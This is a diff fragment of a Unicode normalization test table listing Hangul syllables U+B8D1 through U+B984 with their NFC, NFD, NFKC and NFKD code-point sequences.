+{ source: [0xB8D1], NFC: [0xB8D1], NFD: [0x1105, 0x116D, 0x11AC], NFKC: [0xB8D1], NFKD: [0x1105, 0x116D, 0x11AC] },
+{ source: [0xB8D2], NFC: [0xB8D2], NFD: [0x1105, 0x116D, 0x11AD], NFKC: [0xB8D2], NFKD: [0x1105, 0x116D, 0x11AD] },
+{ source: [0xB8D3], NFC: [0xB8D3], NFD: [0x1105, 0x116D, 0x11AE], NFKC: [0xB8D3], NFKD: [0x1105, 0x116D, 0x11AE] },
+{ source: [0xB8D4], NFC: [0xB8D4], NFD: [0x1105, 0x116D, 0x11AF], NFKC: [0xB8D4], NFKD: [0x1105, 0x116D, 0x11AF] },
+{ source: [0xB8D5], NFC: [0xB8D5], NFD: [0x1105, 0x116D, 0x11B0], NFKC: [0xB8D5], NFKD: [0x1105, 0x116D, 0x11B0] },
+{ source: [0xB8D6], NFC: [0xB8D6], NFD: [0x1105, 0x116D, 0x11B1], NFKC: [0xB8D6], NFKD: [0x1105, 0x116D, 0x11B1] },
+{ source: [0xB8D7], NFC: [0xB8D7], NFD: [0x1105, 0x116D, 0x11B2], NFKC: [0xB8D7], NFKD: [0x1105, 0x116D, 0x11B2] },
+{ source: [0xB8D8], NFC: [0xB8D8], NFD: [0x1105, 0x116D, 0x11B3], NFKC: [0xB8D8], NFKD: [0x1105, 0x116D, 0x11B3] },
+{ source: [0xB8D9], NFC: [0xB8D9], NFD: [0x1105, 0x116D, 0x11B4], NFKC: [0xB8D9], NFKD: [0x1105, 0x116D, 0x11B4] },
+{ source: [0xB8DA], NFC: [0xB8DA], NFD: [0x1105, 0x116D, 0x11B5], NFKC: [0xB8DA], NFKD: [0x1105, 0x116D, 0x11B5] },
+{ source: [0xB8DB], NFC: [0xB8DB], NFD: [0x1105, 0x116D, 0x11B6], NFKC: [0xB8DB], NFKD: [0x1105, 0x116D, 0x11B6] },
+{ source: [0xB8DC], NFC: [0xB8DC], NFD: [0x1105, 0x116D, 0x11B7], NFKC: [0xB8DC], NFKD: [0x1105, 0x116D, 0x11B7] },
+{ source: [0xB8DD], NFC: [0xB8DD], NFD: [0x1105, 0x116D, 0x11B8], NFKC: [0xB8DD], NFKD: [0x1105, 0x116D, 0x11B8] },
+{ source: [0xB8DE], NFC: [0xB8DE], NFD: [0x1105, 0x116D, 0x11B9], NFKC: [0xB8DE], NFKD: [0x1105, 0x116D, 0x11B9] },
+{ source: [0xB8DF], NFC: [0xB8DF], NFD: [0x1105, 0x116D, 0x11BA], NFKC: [0xB8DF], NFKD: [0x1105, 0x116D, 0x11BA] },
+{ source: [0xB8E0], NFC: [0xB8E0], NFD: [0x1105, 0x116D, 0x11BB], NFKC: [0xB8E0], NFKD: [0x1105, 0x116D, 0x11BB] },
+{ source: [0xB8E1], NFC: [0xB8E1], NFD: [0x1105, 0x116D, 0x11BC], NFKC: [0xB8E1], NFKD: [0x1105, 0x116D, 0x11BC] },
+{ source: [0xB8E2], NFC: [0xB8E2], NFD: [0x1105, 0x116D, 0x11BD], NFKC: [0xB8E2], NFKD: [0x1105, 0x116D, 0x11BD] },
+{ source: [0xB8E3], NFC: [0xB8E3], NFD: [0x1105, 0x116D, 0x11BE], NFKC: [0xB8E3], NFKD: [0x1105, 0x116D, 0x11BE] },
+{ source: [0xB8E4], NFC: [0xB8E4], NFD: [0x1105, 0x116D, 0x11BF], NFKC: [0xB8E4], NFKD: [0x1105, 0x116D, 0x11BF] },
+{ source: [0xB8E5], NFC: [0xB8E5], NFD: [0x1105, 0x116D, 0x11C0], NFKC: [0xB8E5], NFKD: [0x1105, 0x116D, 0x11C0] },
+{ source: [0xB8E6], NFC: [0xB8E6], NFD: [0x1105, 0x116D, 0x11C1], NFKC: [0xB8E6], NFKD: [0x1105, 0x116D, 0x11C1] },
+{ source: [0xB8E7], NFC: [0xB8E7], NFD: [0x1105, 0x116D, 0x11C2], NFKC: [0xB8E7], NFKD: [0x1105, 0x116D, 0x11C2] },
+{ source: [0xB8E8], NFC: [0xB8E8], NFD: [0x1105, 0x116E], NFKC: [0xB8E8], NFKD: [0x1105, 0x116E] },
+{ source: [0xB8E9], NFC: [0xB8E9], NFD: [0x1105, 0x116E, 0x11A8], NFKC: [0xB8E9], NFKD: [0x1105, 0x116E, 0x11A8] },
+{ source: [0xB8EA], NFC: [0xB8EA], NFD: [0x1105, 0x116E, 0x11A9], NFKC: [0xB8EA], NFKD: [0x1105, 0x116E, 0x11A9] },
+{ source: [0xB8EB], NFC: [0xB8EB], NFD: [0x1105, 0x116E, 0x11AA], NFKC: [0xB8EB], NFKD: [0x1105, 0x116E, 0x11AA] },
+{ source: [0xB8EC], NFC: [0xB8EC], NFD: [0x1105, 0x116E, 0x11AB], NFKC: [0xB8EC], NFKD: [0x1105, 0x116E, 0x11AB] },
+{ source: [0xB8ED], NFC: [0xB8ED], NFD: [0x1105, 0x116E, 0x11AC], NFKC: [0xB8ED], NFKD: [0x1105, 0x116E, 0x11AC] },
+{ source: [0xB8EE], NFC: [0xB8EE], NFD: [0x1105, 0x116E, 0x11AD], NFKC: [0xB8EE], NFKD: [0x1105, 0x116E, 0x11AD] },
+{ source: [0xB8EF], NFC: [0xB8EF], NFD: [0x1105, 0x116E, 0x11AE], NFKC: [0xB8EF], NFKD: [0x1105, 0x116E, 0x11AE] },
+{ source: [0xB8F0], NFC: [0xB8F0], NFD: [0x1105, 0x116E, 0x11AF], NFKC: [0xB8F0], NFKD: [0x1105, 0x116E, 0x11AF] },
+{ source: [0xB8F1], NFC: [0xB8F1], NFD: [0x1105, 0x116E, 0x11B0], NFKC: [0xB8F1], NFKD: [0x1105, 0x116E, 0x11B0] },
+{ source: [0xB8F2], NFC: [0xB8F2], NFD: [0x1105, 0x116E, 0x11B1], NFKC: [0xB8F2], NFKD: [0x1105, 0x116E, 0x11B1] },
+{ source: [0xB8F3], NFC: [0xB8F3], NFD: [0x1105, 0x116E, 0x11B2], NFKC: [0xB8F3], NFKD: [0x1105, 0x116E, 0x11B2] },
+{ source: [0xB8F4], NFC: [0xB8F4], NFD: [0x1105, 0x116E, 0x11B3], NFKC: [0xB8F4], NFKD: [0x1105, 0x116E, 0x11B3] },
+{ source: [0xB8F5], NFC: [0xB8F5], NFD: [0x1105, 0x116E, 0x11B4], NFKC: [0xB8F5], NFKD: [0x1105, 0x116E, 0x11B4] },
+{ source: [0xB8F6], NFC: [0xB8F6], NFD: [0x1105, 0x116E, 0x11B5], NFKC: [0xB8F6], NFKD: [0x1105, 0x116E, 0x11B5] },
+{ source: [0xB8F7], NFC: [0xB8F7], NFD: [0x1105, 0x116E, 0x11B6], NFKC: [0xB8F7], NFKD: [0x1105, 0x116E, 0x11B6] },
+{ source: [0xB8F8], NFC: [0xB8F8], NFD: [0x1105, 0x116E, 0x11B7], NFKC: [0xB8F8], NFKD: [0x1105, 0x116E, 0x11B7] },
+{ source: [0xB8F9], NFC: [0xB8F9], NFD: [0x1105, 0x116E, 0x11B8], NFKC: [0xB8F9], NFKD: [0x1105, 0x116E, 0x11B8] },
+{ source: [0xB8FA], NFC: [0xB8FA], NFD: [0x1105, 0x116E, 0x11B9], NFKC: [0xB8FA], NFKD: [0x1105, 0x116E, 0x11B9] },
+{ source: [0xB8FB], NFC: [0xB8FB], NFD: [0x1105, 0x116E, 0x11BA], NFKC: [0xB8FB], NFKD: [0x1105, 0x116E, 0x11BA] },
+{ source: [0xB8FC], NFC: [0xB8FC], NFD: [0x1105, 0x116E, 0x11BB], NFKC: [0xB8FC], NFKD: [0x1105, 0x116E, 0x11BB] },
+{ source: [0xB8FD], NFC: [0xB8FD], NFD: [0x1105, 0x116E, 0x11BC], NFKC: [0xB8FD], NFKD: [0x1105, 0x116E, 0x11BC] },
+{ source: [0xB8FE], NFC: [0xB8FE], NFD: [0x1105, 0x116E, 0x11BD], NFKC: [0xB8FE], NFKD: [0x1105, 0x116E, 0x11BD] },
+{ source: [0xB8FF], NFC: [0xB8FF], NFD: [0x1105, 0x116E, 0x11BE], NFKC: [0xB8FF], NFKD: [0x1105, 0x116E, 0x11BE] },
+{ source: [0xB900], NFC: [0xB900], NFD: [0x1105, 0x116E, 0x11BF], NFKC: [0xB900], NFKD: [0x1105, 0x116E, 0x11BF] },
+{ source: [0xB901], NFC: [0xB901], NFD: [0x1105, 0x116E, 0x11C0], NFKC: [0xB901], NFKD: [0x1105, 0x116E, 0x11C0] },
+{ source: [0xB902], NFC: [0xB902], NFD: [0x1105, 0x116E, 0x11C1], NFKC: [0xB902], NFKD: [0x1105, 0x116E, 0x11C1] },
+{ source: [0xB903], NFC: [0xB903], NFD: [0x1105, 0x116E, 0x11C2], NFKC: [0xB903], NFKD: [0x1105, 0x116E, 0x11C2] },
+{ source: [0xB904], NFC: [0xB904], NFD: [0x1105, 0x116F], NFKC: [0xB904], NFKD: [0x1105, 0x116F] },
+{ source: [0xB905], NFC: [0xB905], NFD: [0x1105, 0x116F, 0x11A8], NFKC: [0xB905], NFKD: [0x1105, 0x116F, 0x11A8] },
+{ source: [0xB906], NFC: [0xB906], NFD: [0x1105, 0x116F, 0x11A9], NFKC: [0xB906], NFKD: [0x1105, 0x116F, 0x11A9] },
+{ source: [0xB907], NFC: [0xB907], NFD: [0x1105, 0x116F, 0x11AA], NFKC: [0xB907], NFKD: [0x1105, 0x116F, 0x11AA] },
+{ source: [0xB908], NFC: [0xB908], NFD: [0x1105, 0x116F, 0x11AB], NFKC: [0xB908], NFKD: [0x1105, 0x116F, 0x11AB] },
+{ source: [0xB909], NFC: [0xB909], NFD: [0x1105, 0x116F, 0x11AC], NFKC: [0xB909], NFKD: [0x1105, 0x116F, 0x11AC] },
+{ source: [0xB90A], NFC: [0xB90A], NFD: [0x1105, 0x116F, 0x11AD], NFKC: [0xB90A], NFKD: [0x1105, 0x116F, 0x11AD] },
+{ source: [0xB90B], NFC: [0xB90B], NFD: [0x1105, 0x116F, 0x11AE], NFKC: [0xB90B], NFKD: [0x1105, 0x116F, 0x11AE] },
+{ source: [0xB90C], NFC: [0xB90C], NFD: [0x1105, 0x116F, 0x11AF], NFKC: [0xB90C], NFKD: [0x1105, 0x116F, 0x11AF] },
+{ source: [0xB90D], NFC: [0xB90D], NFD: [0x1105, 0x116F, 0x11B0], NFKC: [0xB90D], NFKD: [0x1105, 0x116F, 0x11B0] },
+{ source: [0xB90E], NFC: [0xB90E], NFD: [0x1105, 0x116F, 0x11B1], NFKC: [0xB90E], NFKD: [0x1105, 0x116F, 0x11B1] },
+{ source: [0xB90F], NFC: [0xB90F], NFD: [0x1105, 0x116F, 0x11B2], NFKC: [0xB90F], NFKD: [0x1105, 0x116F, 0x11B2] },
+{ source: [0xB910], NFC: [0xB910], NFD: [0x1105, 0x116F, 0x11B3], NFKC: [0xB910], NFKD: [0x1105, 0x116F, 0x11B3] },
+{ source: [0xB911], NFC: [0xB911], NFD: [0x1105, 0x116F, 0x11B4], NFKC: [0xB911], NFKD: [0x1105, 0x116F, 0x11B4] },
+{ source: [0xB912], NFC: [0xB912], NFD: [0x1105, 0x116F, 0x11B5], NFKC: [0xB912], NFKD: [0x1105, 0x116F, 0x11B5] },
+{ source: [0xB913], NFC: [0xB913], NFD: [0x1105, 0x116F, 0x11B6], NFKC: [0xB913], NFKD: [0x1105, 0x116F, 0x11B6] },
+{ source: [0xB914], NFC: [0xB914], NFD: [0x1105, 0x116F, 0x11B7], NFKC: [0xB914], NFKD: [0x1105, 0x116F, 0x11B7] },
+{ source: [0xB915], NFC: [0xB915], NFD: [0x1105, 0x116F, 0x11B8], NFKC: [0xB915], NFKD: [0x1105, 0x116F, 0x11B8] },
+{ source: [0xB916], NFC: [0xB916], NFD: [0x1105, 0x116F, 0x11B9], NFKC: [0xB916], NFKD: [0x1105, 0x116F, 0x11B9] },
+{ source: [0xB917], NFC: [0xB917], NFD: [0x1105, 0x116F, 0x11BA], NFKC: [0xB917], NFKD: [0x1105, 0x116F, 0x11BA] },
+{ source: [0xB918], NFC: [0xB918], NFD: [0x1105, 0x116F, 0x11BB], NFKC: [0xB918], NFKD: [0x1105, 0x116F, 0x11BB] },
+{ source: [0xB919], NFC: [0xB919], NFD: [0x1105, 0x116F, 0x11BC], NFKC: [0xB919], NFKD: [0x1105, 0x116F, 0x11BC] },
+{ source: [0xB91A], NFC: [0xB91A], NFD: [0x1105, 0x116F, 0x11BD], NFKC: [0xB91A], NFKD: [0x1105, 0x116F, 0x11BD] },
+{ source: [0xB91B], NFC: [0xB91B], NFD: [0x1105, 0x116F, 0x11BE], NFKC: [0xB91B], NFKD: [0x1105, 0x116F, 0x11BE] },
+{ source: [0xB91C], NFC: [0xB91C], NFD: [0x1105, 0x116F, 0x11BF], NFKC: [0xB91C], NFKD: [0x1105, 0x116F, 0x11BF] },
+{ source: [0xB91D], NFC: [0xB91D], NFD: [0x1105, 0x116F, 0x11C0], NFKC: [0xB91D], NFKD: [0x1105, 0x116F, 0x11C0] },
+{ source: [0xB91E], NFC: [0xB91E], NFD: [0x1105, 0x116F, 0x11C1], NFKC: [0xB91E], NFKD: [0x1105, 0x116F, 0x11C1] },
+{ source: [0xB91F], NFC: [0xB91F], NFD: [0x1105, 0x116F, 0x11C2], NFKC: [0xB91F], NFKD: [0x1105, 0x116F, 0x11C2] },
+{ source: [0xB920], NFC: [0xB920], NFD: [0x1105, 0x1170], NFKC: [0xB920], NFKD: [0x1105, 0x1170] },
+{ source: [0xB921], NFC: [0xB921], NFD: [0x1105, 0x1170, 0x11A8], NFKC: [0xB921], NFKD: [0x1105, 0x1170, 0x11A8] },
+{ source: [0xB922], NFC: [0xB922], NFD: [0x1105, 0x1170, 0x11A9], NFKC: [0xB922], NFKD: [0x1105, 0x1170, 0x11A9] },
+{ source: [0xB923], NFC: [0xB923], NFD: [0x1105, 0x1170, 0x11AA], NFKC: [0xB923], NFKD: [0x1105, 0x1170, 0x11AA] },
+{ source: [0xB924], NFC: [0xB924], NFD: [0x1105, 0x1170, 0x11AB], NFKC: [0xB924], NFKD: [0x1105, 0x1170, 0x11AB] },
+{ source: [0xB925], NFC: [0xB925], NFD: [0x1105, 0x1170, 0x11AC], NFKC: [0xB925], NFKD: [0x1105, 0x1170, 0x11AC] },
+{ source: [0xB926], NFC: [0xB926], NFD: [0x1105, 0x1170, 0x11AD], NFKC: [0xB926], NFKD: [0x1105, 0x1170, 0x11AD] },
+{ source: [0xB927], NFC: [0xB927], NFD: [0x1105, 0x1170, 0x11AE], NFKC: [0xB927], NFKD: [0x1105, 0x1170, 0x11AE] },
+{ source: [0xB928], NFC: [0xB928], NFD: [0x1105, 0x1170, 0x11AF], NFKC: [0xB928], NFKD: [0x1105, 0x1170, 0x11AF] },
+{ source: [0xB929], NFC: [0xB929], NFD: [0x1105, 0x1170, 0x11B0], NFKC: [0xB929], NFKD: [0x1105, 0x1170, 0x11B0] },
+{ source: [0xB92A], NFC: [0xB92A], NFD: [0x1105, 0x1170, 0x11B1], NFKC: [0xB92A], NFKD: [0x1105, 0x1170, 0x11B1] },
+{ source: [0xB92B], NFC: [0xB92B], NFD: [0x1105, 0x1170, 0x11B2], NFKC: [0xB92B], NFKD: [0x1105, 0x1170, 0x11B2] },
+{ source: [0xB92C], NFC: [0xB92C], NFD: [0x1105, 0x1170, 0x11B3], NFKC: [0xB92C], NFKD: [0x1105, 0x1170, 0x11B3] },
+{ source: [0xB92D], NFC: [0xB92D], NFD: [0x1105, 0x1170, 0x11B4], NFKC: [0xB92D], NFKD: [0x1105, 0x1170, 0x11B4] },
+{ source: [0xB92E], NFC: [0xB92E], NFD: [0x1105, 0x1170, 0x11B5], NFKC: [0xB92E], NFKD: [0x1105, 0x1170, 0x11B5] },
+{ source: [0xB92F], NFC: [0xB92F], NFD: [0x1105, 0x1170, 0x11B6], NFKC: [0xB92F], NFKD: [0x1105, 0x1170, 0x11B6] },
+{ source: [0xB930], NFC: [0xB930], NFD: [0x1105, 0x1170, 0x11B7], NFKC: [0xB930], NFKD: [0x1105, 0x1170, 0x11B7] },
+{ source: [0xB931], NFC: [0xB931], NFD: [0x1105, 0x1170, 0x11B8], NFKC: [0xB931], NFKD: [0x1105, 0x1170, 0x11B8] },
+{ source: [0xB932], NFC: [0xB932], NFD: [0x1105, 0x1170, 0x11B9], NFKC: [0xB932], NFKD: [0x1105, 0x1170, 0x11B9] },
+{ source: [0xB933], NFC: [0xB933], NFD: [0x1105, 0x1170, 0x11BA], NFKC: [0xB933], NFKD: [0x1105, 0x1170, 0x11BA] },
+{ source: [0xB934], NFC: [0xB934], NFD: [0x1105, 0x1170, 0x11BB], NFKC: [0xB934], NFKD: [0x1105, 0x1170, 0x11BB] },
+{ source: [0xB935], NFC: [0xB935], NFD: [0x1105, 0x1170, 0x11BC], NFKC: [0xB935], NFKD: [0x1105, 0x1170, 0x11BC] },
+{ source: [0xB936], NFC: [0xB936], NFD: [0x1105, 0x1170, 0x11BD], NFKC: [0xB936], NFKD: [0x1105, 0x1170, 0x11BD] },
+{ source: [0xB937], NFC: [0xB937], NFD: [0x1105, 0x1170, 0x11BE], NFKC: [0xB937], NFKD: [0x1105, 0x1170, 0x11BE] },
+{ source: [0xB938], NFC: [0xB938], NFD: [0x1105, 0x1170, 0x11BF], NFKC: [0xB938], NFKD: [0x1105, 0x1170, 0x11BF] },
+{ source: [0xB939], NFC: [0xB939], NFD: [0x1105, 0x1170, 0x11C0], NFKC: [0xB939], NFKD: [0x1105, 0x1170, 0x11C0] },
+{ source: [0xB93A], NFC: [0xB93A], NFD: [0x1105, 0x1170, 0x11C1], NFKC: [0xB93A], NFKD: [0x1105, 0x1170, 0x11C1] },
+{ source: [0xB93B], NFC: [0xB93B], NFD: [0x1105, 0x1170, 0x11C2], NFKC: [0xB93B], NFKD: [0x1105, 0x1170, 0x11C2] },
+{ source: [0xB93C], NFC: [0xB93C], NFD: [0x1105, 0x1171], NFKC: [0xB93C], NFKD: [0x1105, 0x1171] },
+{ source: [0xB93D], NFC: [0xB93D], NFD: [0x1105, 0x1171, 0x11A8], NFKC: [0xB93D], NFKD: [0x1105, 0x1171, 0x11A8] },
+{ source: [0xB93E], NFC: [0xB93E], NFD: [0x1105, 0x1171, 0x11A9], NFKC: [0xB93E], NFKD: [0x1105, 0x1171, 0x11A9] },
+{ source: [0xB93F], NFC: [0xB93F], NFD: [0x1105, 0x1171, 0x11AA], NFKC: [0xB93F], NFKD: [0x1105, 0x1171, 0x11AA] },
+{ source: [0xB940], NFC: [0xB940], NFD: [0x1105, 0x1171, 0x11AB], NFKC: [0xB940], NFKD: [0x1105, 0x1171, 0x11AB] },
+{ source: [0xB941], NFC: [0xB941], NFD: [0x1105, 0x1171, 0x11AC], NFKC: [0xB941], NFKD: [0x1105, 0x1171, 0x11AC] },
+{ source: [0xB942], NFC: [0xB942], NFD: [0x1105, 0x1171, 0x11AD], NFKC: [0xB942], NFKD: [0x1105, 0x1171, 0x11AD] },
+{ source: [0xB943], NFC: [0xB943], NFD: [0x1105, 0x1171, 0x11AE], NFKC: [0xB943], NFKD: [0x1105, 0x1171, 0x11AE] },
+{ source: [0xB944], NFC: [0xB944], NFD: [0x1105, 0x1171, 0x11AF], NFKC: [0xB944], NFKD: [0x1105, 0x1171, 0x11AF] },
+{ source: [0xB945], NFC: [0xB945], NFD: [0x1105, 0x1171, 0x11B0], NFKC: [0xB945], NFKD: [0x1105, 0x1171, 0x11B0] },
+{ source: [0xB946], NFC: [0xB946], NFD: [0x1105, 0x1171, 0x11B1], NFKC: [0xB946], NFKD: [0x1105, 0x1171, 0x11B1] },
+{ source: [0xB947], NFC: [0xB947], NFD: [0x1105, 0x1171, 0x11B2], NFKC: [0xB947], NFKD: [0x1105, 0x1171, 0x11B2] },
+{ source: [0xB948], NFC: [0xB948], NFD: [0x1105, 0x1171, 0x11B3], NFKC: [0xB948], NFKD: [0x1105, 0x1171, 0x11B3] },
+{ source: [0xB949], NFC: [0xB949], NFD: [0x1105, 0x1171, 0x11B4], NFKC: [0xB949], NFKD: [0x1105, 0x1171, 0x11B4] },
+{ source: [0xB94A], NFC: [0xB94A], NFD: [0x1105, 0x1171, 0x11B5], NFKC: [0xB94A], NFKD: [0x1105, 0x1171, 0x11B5] },
+{ source: [0xB94B], NFC: [0xB94B], NFD: [0x1105, 0x1171, 0x11B6], NFKC: [0xB94B], NFKD: [0x1105, 0x1171, 0x11B6] },
+{ source: [0xB94C], NFC: [0xB94C], NFD: [0x1105, 0x1171, 0x11B7], NFKC: [0xB94C], NFKD: [0x1105, 0x1171, 0x11B7] },
+{ source: [0xB94D], NFC: [0xB94D], NFD: [0x1105, 0x1171, 0x11B8], NFKC: [0xB94D], NFKD: [0x1105, 0x1171, 0x11B8] },
+{ source: [0xB94E], NFC: [0xB94E], NFD: [0x1105, 0x1171, 0x11B9], NFKC: [0xB94E], NFKD: [0x1105, 0x1171, 0x11B9] },
+{ source: [0xB94F], NFC: [0xB94F], NFD: [0x1105, 0x1171, 0x11BA], NFKC: [0xB94F], NFKD: [0x1105, 0x1171, 0x11BA] },
+{ source: [0xB950], NFC: [0xB950], NFD: [0x1105, 0x1171, 0x11BB], NFKC: [0xB950], NFKD: [0x1105, 0x1171, 0x11BB] },
+{ source: [0xB951], NFC: [0xB951], NFD: [0x1105, 0x1171, 0x11BC], NFKC: [0xB951], NFKD: [0x1105, 0x1171, 0x11BC] },
+{ source: [0xB952], NFC: [0xB952], NFD: [0x1105, 0x1171, 0x11BD], NFKC: [0xB952], NFKD: [0x1105, 0x1171, 0x11BD] },
+{ source: [0xB953], NFC: [0xB953], NFD: [0x1105, 0x1171, 0x11BE], NFKC: [0xB953], NFKD: [0x1105, 0x1171, 0x11BE] },
+{ source: [0xB954], NFC: [0xB954], NFD: [0x1105, 0x1171, 0x11BF], NFKC: [0xB954], NFKD: [0x1105, 0x1171, 0x11BF] },
+{ source: [0xB955], NFC: [0xB955], NFD: [0x1105, 0x1171, 0x11C0], NFKC: [0xB955], NFKD: [0x1105, 0x1171, 0x11C0] },
+{ source: [0xB956], NFC: [0xB956], NFD: [0x1105, 0x1171, 0x11C1], NFKC: [0xB956], NFKD: [0x1105, 0x1171, 0x11C1] },
+{ source: [0xB957], NFC: [0xB957], NFD: [0x1105, 0x1171, 0x11C2], NFKC: [0xB957], NFKD: [0x1105, 0x1171, 0x11C2] },
+{ source: [0xB958], NFC: [0xB958], NFD: [0x1105, 0x1172], NFKC: [0xB958], NFKD: [0x1105, 0x1172] },
+{ source: [0xB959], NFC: [0xB959], NFD: [0x1105, 0x1172, 0x11A8], NFKC: [0xB959], NFKD: [0x1105, 0x1172, 0x11A8] },
+{ source: [0xB95A], NFC: [0xB95A], NFD: [0x1105, 0x1172, 0x11A9], NFKC: [0xB95A], NFKD: [0x1105, 0x1172, 0x11A9] },
+{ source: [0xB95B], NFC: [0xB95B], NFD: [0x1105, 0x1172, 0x11AA], NFKC: [0xB95B], NFKD: [0x1105, 0x1172, 0x11AA] },
+{ source: [0xB95C], NFC: [0xB95C], NFD: [0x1105, 0x1172, 0x11AB], NFKC: [0xB95C], NFKD: [0x1105, 0x1172, 0x11AB] },
+{ source: [0xB95D], NFC: [0xB95D], NFD: [0x1105, 0x1172, 0x11AC], NFKC: [0xB95D], NFKD: [0x1105, 0x1172, 0x11AC] },
+{ source: [0xB95E], NFC: [0xB95E], NFD: [0x1105, 0x1172, 0x11AD], NFKC: [0xB95E], NFKD: [0x1105, 0x1172, 0x11AD] },
+{ source: [0xB95F], NFC: [0xB95F], NFD: [0x1105, 0x1172, 0x11AE], NFKC: [0xB95F], NFKD: [0x1105, 0x1172, 0x11AE] },
+{ source: [0xB960], NFC: [0xB960], NFD: [0x1105, 0x1172, 0x11AF], NFKC: [0xB960], NFKD: [0x1105, 0x1172, 0x11AF] },
+{ source: [0xB961], NFC: [0xB961], NFD: [0x1105, 0x1172, 0x11B0], NFKC: [0xB961], NFKD: [0x1105, 0x1172, 0x11B0] },
+{ source: [0xB962], NFC: [0xB962], NFD: [0x1105, 0x1172, 0x11B1], NFKC: [0xB962], NFKD: [0x1105, 0x1172, 0x11B1] },
+{ source: [0xB963], NFC: [0xB963], NFD: [0x1105, 0x1172, 0x11B2], NFKC: [0xB963], NFKD: [0x1105, 0x1172, 0x11B2] },
+{ source: [0xB964], NFC: [0xB964], NFD: [0x1105, 0x1172, 0x11B3], NFKC: [0xB964], NFKD: [0x1105, 0x1172, 0x11B3] },
+{ source: [0xB965], NFC: [0xB965], NFD: [0x1105, 0x1172, 0x11B4], NFKC: [0xB965], NFKD: [0x1105, 0x1172, 0x11B4] },
+{ source: [0xB966], NFC: [0xB966], NFD: [0x1105, 0x1172, 0x11B5], NFKC: [0xB966], NFKD: [0x1105, 0x1172, 0x11B5] },
+{ source: [0xB967], NFC: [0xB967], NFD: [0x1105, 0x1172, 0x11B6], NFKC: [0xB967], NFKD: [0x1105, 0x1172, 0x11B6] },
+{ source: [0xB968], NFC: [0xB968], NFD: [0x1105, 0x1172, 0x11B7], NFKC: [0xB968], NFKD: [0x1105, 0x1172, 0x11B7] },
+{ source: [0xB969], NFC: [0xB969], NFD: [0x1105, 0x1172, 0x11B8], NFKC: [0xB969], NFKD: [0x1105, 0x1172, 0x11B8] },
+{ source: [0xB96A], NFC: [0xB96A], NFD: [0x1105, 0x1172, 0x11B9], NFKC: [0xB96A], NFKD: [0x1105, 0x1172, 0x11B9] },
+{ source: [0xB96B], NFC: [0xB96B], NFD: [0x1105, 0x1172, 0x11BA], NFKC: [0xB96B], NFKD: [0x1105, 0x1172, 0x11BA] },
+{ source: [0xB96C], NFC: [0xB96C], NFD: [0x1105, 0x1172, 0x11BB], NFKC: [0xB96C], NFKD: [0x1105, 0x1172, 0x11BB] },
+{ source: [0xB96D], NFC: [0xB96D], NFD: [0x1105, 0x1172, 0x11BC], NFKC: [0xB96D], NFKD: [0x1105, 0x1172, 0x11BC] },
+{ source: [0xB96E], NFC: [0xB96E], NFD: [0x1105, 0x1172, 0x11BD], NFKC: [0xB96E], NFKD: [0x1105, 0x1172, 0x11BD] },
+{ source: [0xB96F], NFC: [0xB96F], NFD: [0x1105, 0x1172, 0x11BE], NFKC: [0xB96F], NFKD: [0x1105, 0x1172, 0x11BE] },
+{ source: [0xB970], NFC: [0xB970], NFD: [0x1105, 0x1172, 0x11BF], NFKC: [0xB970], NFKD: [0x1105, 0x1172, 0x11BF] },
+{ source: [0xB971], NFC: [0xB971], NFD: [0x1105, 0x1172, 0x11C0], NFKC: [0xB971], NFKD: [0x1105, 0x1172, 0x11C0] },
+{ source: [0xB972], NFC: [0xB972], NFD: [0x1105, 0x1172, 0x11C1], NFKC: [0xB972], NFKD: [0x1105, 0x1172, 0x11C1] },
+{ source: [0xB973], NFC: [0xB973], NFD: [0x1105, 0x1172, 0x11C2], NFKC: [0xB973], NFKD: [0x1105, 0x1172, 0x11C2] },
+{ source: [0xB974], NFC: [0xB974], NFD: [0x1105, 0x1173], NFKC: [0xB974], NFKD: [0x1105, 0x1173] },
+{ source: [0xB975], NFC: [0xB975], NFD: [0x1105, 0x1173, 0x11A8], NFKC: [0xB975], NFKD: [0x1105, 0x1173, 0x11A8] },
+{ source: [0xB976], NFC: [0xB976], NFD: [0x1105, 0x1173, 0x11A9], NFKC: [0xB976], NFKD: [0x1105, 0x1173, 0x11A9] },
+{ source: [0xB977], NFC: [0xB977], NFD: [0x1105, 0x1173, 0x11AA], NFKC: [0xB977], NFKD: [0x1105, 0x1173, 0x11AA] },
+{ source: [0xB978], NFC: [0xB978], NFD: [0x1105, 0x1173, 0x11AB], NFKC: [0xB978], NFKD: [0x1105, 0x1173, 0x11AB] },
+{ source: [0xB979], NFC: [0xB979], NFD: [0x1105, 0x1173, 0x11AC], NFKC: [0xB979], NFKD: [0x1105, 0x1173, 0x11AC] },
+{ source: [0xB97A], NFC: [0xB97A], NFD: [0x1105, 0x1173, 0x11AD], NFKC: [0xB97A], NFKD: [0x1105, 0x1173, 0x11AD] },
+{ source: [0xB97B], NFC: [0xB97B], NFD: [0x1105, 0x1173, 0x11AE], NFKC: [0xB97B], NFKD: [0x1105, 0x1173, 0x11AE] },
+{ source: [0xB97C], NFC: [0xB97C], NFD: [0x1105, 0x1173, 0x11AF], NFKC: [0xB97C], NFKD: [0x1105, 0x1173, 0x11AF] },
+{ source: [0xB97D], NFC: [0xB97D], NFD: [0x1105, 0x1173, 0x11B0], NFKC: [0xB97D], NFKD: [0x1105, 0x1173, 0x11B0] },
+{ source: [0xB97E], NFC: [0xB97E], NFD: [0x1105, 0x1173, 0x11B1], NFKC: [0xB97E], NFKD: [0x1105, 0x1173, 0x11B1] },
+{ source: [0xB97F], NFC: [0xB97F], NFD: [0x1105, 0x1173, 0x11B2], NFKC: [0xB97F], NFKD: [0x1105, 0x1173, 0x11B2] },
+{ source: [0xB980], NFC: [0xB980], NFD: [0x1105, 0x1173, 0x11B3], NFKC: [0xB980], NFKD: [0x1105, 0x1173, 0x11B3] },
+{ source: [0xB981], NFC: [0xB981], NFD: [0x1105, 0x1173, 0x11B4], NFKC: [0xB981], NFKD: [0x1105, 0x1173, 0x11B4] },
+{ source: [0xB982], NFC: [0xB982], NFD: [0x1105, 0x1173, 0x11B5], NFKC: [0xB982], NFKD: [0x1105, 0x1173, 0x11B5] },
+{ source: [0xB983], NFC: [0xB983], NFD: [0x1105, 0x1173, 0x11B6], NFKC: [0xB983], NFKD: [0x1105, 0x1173, 0x11B6] },
+{ source: [0xB984], NFC: [0xB984], NFD: [0x1105, 0x1173, 0x11B7], NFKC: [0xB984], NFKD: [0x1105, 0x1173, 0x11B7] },
